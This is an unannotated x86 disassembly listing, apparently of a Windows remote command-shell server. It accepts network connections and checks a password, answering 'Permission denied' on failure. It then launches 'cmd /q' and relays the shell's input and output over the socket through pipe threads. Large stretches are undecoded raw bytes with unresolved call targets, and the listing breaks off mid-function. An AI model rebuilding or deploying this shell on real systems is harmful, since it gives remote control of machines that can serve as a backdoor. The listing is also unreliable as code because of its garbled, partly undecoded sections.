		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 227F124h, 69C44D8Bh,	234C9h,	89C63B00h, 43E92481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0F9E8326Ah, 900226FFh, 0E890EDEBh
		dd 227F963h, 51906850h,	99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0A80h
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 26F0A80h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 2DF8C3E8h, 5E5F9002h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0A80h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0A80h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0A80h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	near ptr 26F0A80h
		nop


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0A80h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 0F5DAE857h, 5790022Dh, 4116CC68h, 96E89000h,	850238F6h
		dd 902975C0h, 27F3AEE8h, 0B0685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22DF5A0h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 227E9E4h
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0B9E8326Ah, 900226F8h, 0E890EDEBh
		dd 227F223h, 53F46850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 0B5E89056h, 5B022DF3h,	4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0846h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27A0E49h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26A0846h
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2730250h
		nop


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2730320h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 26709E4h
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		call	near ptr 2670770h
		nop
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		call	near ptr 27B0000h
		nop
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


